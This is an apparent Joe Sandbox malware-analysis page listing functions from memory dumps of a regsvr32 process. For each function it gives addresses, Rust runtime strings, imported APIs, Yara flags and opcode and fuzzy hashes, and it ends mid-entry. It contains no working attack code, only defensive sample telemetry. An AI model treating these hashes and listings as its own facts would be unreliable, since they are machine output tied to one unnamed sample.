Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: Query$CloseCounterEnglishOpenVersionmemset
String ID:
API String ID: 3694610374-0
Opcode ID: ad6172dee7474d367a162037de6e78bf8e0dd2d7f945af1b3396c84212e8acb7
Instruction ID: 5042d55fb99872084ca3a44aa60189648b97eeffa6cfd9f2099d7a772724b923
Opcode Fuzzy Hash: ad6172dee7474d367a162037de6e78bf8e0dd2d7f945af1b3396c84212e8acb7
Instruction Fuzzy Hash: DA21D135C00B1C9BC721DF28D9067D6B7B4AF2B354F004A99EA89ABA52E730D954CBD1

Function 6C921760 Relevance: 3.1, Strings: 2, Instructions: 551COMMON

Download Yara Rule

Strings

a formatting trait implementation returned an error when the underlying stream did notalloc\src\fmt.rs, xrefs: 6C9218C6
called `Result::unwrap()` on an `Err` valueErrorLayoutError, xrefs: 6C92194D

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: memcpy
String ID: a formatting trait implementation returned an error when the underlying stream did notalloc\src\fmt.rs$called `Result::unwrap()` on an `Err` valueErrorLayoutError
API String ID: 3510742995-4199672088
Opcode ID: d0ddd8f147164b496733aa39f8eb9b90362b7c7f4e51611bd1a30993a90b7bcc
Instruction ID: b9c2892d910f6c96e4ba427420baa3ca85bb0e6258c586dcf79fdf91010fdd52
Opcode Fuzzy Hash: d0ddd8f147164b496733aa39f8eb9b90362b7c7f4e51611bd1a30993a90b7bcc
Instruction Fuzzy Hash: 6D12BC72E212158BDB05CE28C8406FEB3B5AF97344F15832AE89477B49E73ACE51C380

Function 6C895180 Relevance: 3.0, Strings: 2, Instructions: 484COMMON

Download Yara Rule

Strings

?, xrefs: 6C8951C0
@, xrefs: 6C8951E0

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID:
String ID: ?$@
API String ID: 0-1463999369
Opcode ID: 6663654e2d044be12261c58b45630c1dd4e63eb8e6d5ab9232d8feab286bbbc2
Instruction ID: 573fa89eb4c0a3ba1c0f31ccda5769e234fcc6ce1381dbefea5137cd957c3ac4
Opcode Fuzzy Hash: 6663654e2d044be12261c58b45630c1dd4e63eb8e6d5ab9232d8feab286bbbc2
Instruction Fuzzy Hash: 9612D671E00B598FCB15CF68C880AAEB7B6FF9A344F15875AD9197F212CB309941CB54

Function 6C872750 Relevance: 3.0, APIs: 2, Instructions: 481COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C872B7E

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: df4de7710fe018ec3ee80e162d77957de5a28084c256419e7028bbd318eac088
Instruction ID: 778b9135aa8141738b7442e99f492ed95e72af4b05324bf087d4ea9c99207853
Opcode Fuzzy Hash: df4de7710fe018ec3ee80e162d77957de5a28084c256419e7028bbd318eac088
Instruction Fuzzy Hash: 2D1235319082A6CFCB25CF6CC4905ADFFF1BF56300B19869DD8A46B792E7349944CBA0

Function 6C872150 Relevance: 3.0, APIs: 2, Instructions: 460COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C87221C

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 9ffd6248bbacf4a5a100e7e9ff324db06e5a9880a382f2bf8e894613036de3a7
Instruction ID: 30390dc8dfa7effce4ee69cd890f5c74b203157c3b0406973a780c6515499caf
Opcode Fuzzy Hash: 9ffd6248bbacf4a5a100e7e9ff324db06e5a9880a382f2bf8e894613036de3a7
Instruction Fuzzy Hash: B0124471908295CFCB25CF6CC8905ADFFB1AF56204B1DC699D8A56B793E334D940CBA0

Function 6C92D360 Relevance: 2.8, Strings: 2, Instructions: 331COMMON

Download Yara Rule

Strings

assertion failed: buf.len() >= maxlen, xrefs: 6C92D6C9
-+NaNinf00e00E0assertion failed: ndigits > 0, xrefs: 6C92D4AB, 6C92D819

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID:
String ID: -+NaNinf00e00E0assertion failed: ndigits > 0$assertion failed: buf.len() >= maxlen
API String ID: 0-2939795802
Opcode ID: 7b6dc00d2d7f62fa412915be49cf29412804173e542e6c203b50343609d37927
Instruction ID: 872eaf6fde09da9edcd75addf9e3adce6dc69ea65967f65cb286fd6d3c8a4ca2
Opcode Fuzzy Hash: 7b6dc00d2d7f62fa412915be49cf29412804173e542e6c203b50343609d37927
Instruction Fuzzy Hash: 66D18A729193408BD304CF19C48179ABBE5BFC8318F148A2EF8D8577A8D7B9D945CB86

Function 04F9E5F0 Relevance: 2.2, Strings: 1, Instructions: 998COMMON

Download Yara Rule

Strings

@, xrefs: 04F9E6AB

Memory Dump Source

Source File: 00000007.00000002.2918694072.0000000004F80000.00000040.00000020.00020000.00000000.sdmp, Offset: 04F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f80000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: e7151c537666865e6595d4079c1f208c3c689ae74a9ea064726b3261d3ade884
Instruction ID: 35191fbf1c5271b70e70d6a1377023e0bd102bcd2fa99e3d2db070f132ce0b34
Opcode Fuzzy Hash: e7151c537666865e6595d4079c1f208c3c689ae74a9ea064726b3261d3ade884
Instruction Fuzzy Hash: 9662B531618F498BEF69DF28C8856A973E1FB98714F14462DD88BC7251EB34F9438B81

Function 6C93A330 Relevance: 2.1, Strings: 1, Instructions: 811COMMON

Download Yara Rule

Strings

0x0b00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899assertion failed: *curr > 19, xrefs: 6C93A68D, 6C93A7DD, 6C93A965, 6C93AB25, 6C93AD55

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID:
String ID: 0x0b00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899assertion failed: *curr > 19
API String ID: 0-4248292056
Opcode ID: b065f88257bbf051da1211489a5f22bd01e935affeeb0ad2002216c85dc71544
Instruction ID: 836fb199054fc8c5ee86dfdc110c9c37d0dd89ec4bfff993effe4a921f5984d1
Opcode Fuzzy Hash: b065f88257bbf051da1211489a5f22bd01e935affeeb0ad2002216c85dc71544
Instruction Fuzzy Hash: 7A529A71A042289FEB248FA4C851BFE7BF5EF51304F04817DD989AB6C2CB798949C791

Function 6C9328C0 Relevance: 2.1, APIs: 1, Instructions: 802COMMON

Download Yara Rule

APIs

memcmp.MSVCRT(00000001,00000001,?), ref: 6C932A6F

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: b7033bc16d9f63f25abd9cc9053e4debb9fdf494d2f2bfde627f8b12c87ba1b5
Instruction ID: 6255e18ca6b9d4aab69f99399adae6d4d6788ea69e39363f115039c8d714e3fa
Opcode Fuzzy Hash: b7033bc16d9f63f25abd9cc9053e4debb9fdf494d2f2bfde627f8b12c87ba1b5
Instruction Fuzzy Hash: 92620671E0462A8FDB11CF78C8807AEBBB6BF9A304F159319E859B7741D731D9428B90

Function 6C87E870 Relevance: 1.7, Strings: 1, Instructions: 419COMMON

Download Yara Rule

Strings

CurrentBuildNumberCurrentMajorVersionNumber (), xrefs: 6C87E874

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID:
String ID: CurrentBuildNumberCurrentMajorVersionNumber ()
API String ID: 0-3310863298
Opcode ID: 6698d000c09f388c0fbfd00423723615706a7dc3e14319de2b0053ce217ceab7
Instruction ID: 3ff68ac2fc1799df5f45fb066a10a903b225ab1b9db289c03375fa34e3ac09be
Opcode Fuzzy Hash: 6698d000c09f388c0fbfd00423723615706a7dc3e14319de2b0053ce217ceab7
Instruction Fuzzy Hash: 91F1C271E002198FDB34CFA9C5907EEBBB2FF89314F198529D855AB781E3749941CBA0

Function 6C8EC8C0 Relevance: 1.6, Strings: 1, Instructions: 382COMMON

Download Yara Rule

Strings

?, xrefs: 6C8ECAB4

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID:
String ID: ?
API String ID: 0-1684325040
Opcode ID: a2102e5965dcb69561bb539519eab756d198fe10cbe65145c14382c6bf2622dc
Instruction ID: bbbc284d311f9410907fdb20ce56d2b61d013ca4021fa7ecdc46532e18b3f00d
Opcode Fuzzy Hash: a2102e5965dcb69561bb539519eab756d198fe10cbe65145c14382c6bf2622dc
Instruction Fuzzy Hash: 7CE127B1E052298FD720EF68C5907ADBFB2BF8F304F298A69C4656B752D7709841C790

Function 6C93C0A0 Relevance: 1.6, Strings: 1, Instructions: 377COMMON

Download Yara Rule

Strings

0x0b00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899assertion failed: *curr > 19, xrefs: 6C93C20F, 6C93C415

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID:
String ID: 0x0b00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899assertion failed: *curr > 19
API String ID: 0-4248292056
Opcode ID: 622ef2235633c75d87cc31be9cdcb1d361b23cebf5524e78b7e5635194ce298b
Instruction ID: ce91f079726cc2add97602059353b402de3313e1c72f9b97286907940601e2f5
Opcode Fuzzy Hash: 622ef2235633c75d87cc31be9cdcb1d361b23cebf5524e78b7e5635194ce298b
Instruction Fuzzy Hash: 0AC19C32B042358FE7249A2CC8857FA77A6EF85710F14933AE88D9B7C5D639CA45C391

Function 6C8C9FC0 Relevance: 1.6, Strings: 1, Instructions: 344COMMON

Download Yara Rule

Strings

?, xrefs: 6C8CA030

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID:
String ID: ?
API String ID: 0-1684325040
Opcode ID: b1f897a1c2db203fc9172d613e6f1495ebea03d0bb11d6a64f03c338ac499f87
Instruction ID: c3a2bd8a934fc220409cb62ccf0916a9e23c4411b399bfe168309f52b232d0a2
Opcode Fuzzy Hash: b1f897a1c2db203fc9172d613e6f1495ebea03d0bb11d6a64f03c338ac499f87
Instruction Fuzzy Hash: 3BC12471E0121A8BDB24CFA8C9506EEF7B1FF45314F248729E825ABB80E775D941CB91

Function 6C861B10 Relevance: 1.6, APIs: 1, Instructions: 65comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(6C978E20,00000000,00000001,6C978E10,00000000), ref: 6C861B44

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 62ebbff50809526680d8be99985b2d1352853212512541dbdb4579ea46557dfd
Instruction ID: e5ea5c19a3a86b14fed89be56cd98cf5f1de2942fe72f1ccd1195d3ce5605297
Opcode Fuzzy Hash: 62ebbff50809526680d8be99985b2d1352853212512541dbdb4579ea46557dfd
Instruction Fuzzy Hash: D51136B0D0060AA7EB20CFAADD44BEFB3B8AF51308F108939D41466E02F775D54887E1

Function 0263AFAE Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00009F6C), ref: 0263AFB3

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 2c83123e9dfe7c134bcfb8798860b3e4b76d282f5c09fcb92c71eb0836ab73d7
Instruction ID: b797f22e7728b3b33d56c437cb639090b601e2dc3dcf4522b1616352d2815033
Opcode Fuzzy Hash: 2c83123e9dfe7c134bcfb8798860b3e4b76d282f5c09fcb92c71eb0836ab73d7
Instruction Fuzzy Hash: DF9002E9A911405BA71117B0580D50936D05F68A127C11854A0C7C4114DB5058956551

Function 6C85EFD0 Relevance: 1.4, Strings: 1, Instructions: 200COMMON

Download Yara Rule

Strings

l)\%, xrefs: 6C85EFDC

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID:
String ID: l)\%
API String ID: 0-975318231
Opcode ID: ca9a847b4f3db288acb7fd5dbf7504a9e9efd1eda35e5247aff6cb4fe1b157ee
Instruction ID: 69fa98216291b3a6d433ee95c5e42fb101bfc0f97e4343c28d081d27b447ce2a
Opcode Fuzzy Hash: ca9a847b4f3db288acb7fd5dbf7504a9e9efd1eda35e5247aff6cb4fe1b157ee
Instruction Fuzzy Hash: E4813A72E083119BD308CF65C89075FF7E2AFC8714F1ACA3EA89897244D7B4D8419A82

Function 6C92D6E0 Relevance: 1.4, Strings: 1, Instructions: 182COMMON

Download Yara Rule

Strings

-+NaNinf00e00E0assertion failed: ndigits > 0, xrefs: 6C92D819

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: memset
String ID: -+NaNinf00e00E0assertion failed: ndigits > 0
API String ID: 2221118986-3557657957
Opcode ID: c1ddc88e18bc8352170657884a9207e4e737dfb642e75b5e3d316ba5b9852d1b
Instruction ID: 9680c217ec916417d2f5d772060341ea734f68577e8fca6c0cbd4ec4107691c9
Opcode Fuzzy Hash: c1ddc88e18bc8352170657884a9207e4e737dfb642e75b5e3d316ba5b9852d1b
Instruction Fuzzy Hash: 33619EB29193008BD300CE19C88175BB7E9EFC9318F548A2EF4E897794D7B9D945CB82

Function 6C896D50 Relevance: .6, Instructions: 574COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8688d7a5e63681c8ba26b86f2aed978e8ec8f0a622854f98c2bc60acff6f6b90
Instruction ID: 39e5cd0dc1bdf30e03d7710dec1cf61e1ece4367a0d6876624e94815c7dd42be
Opcode Fuzzy Hash: 8688d7a5e63681c8ba26b86f2aed978e8ec8f0a622854f98c2bc60acff6f6b90
Instruction Fuzzy Hash: 1F429E72C11B588FCB11CF54C880ADAB7B5FF9A354F06469AE8097F622DB70E945CB90

Function 04F82B85 Relevance: .5, Instructions: 479COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2918694072.0000000004F80000.00000040.00000020.00020000.00000000.sdmp, Offset: 04F80000, based on PE: false

Joe Sandbox IDA Plugin

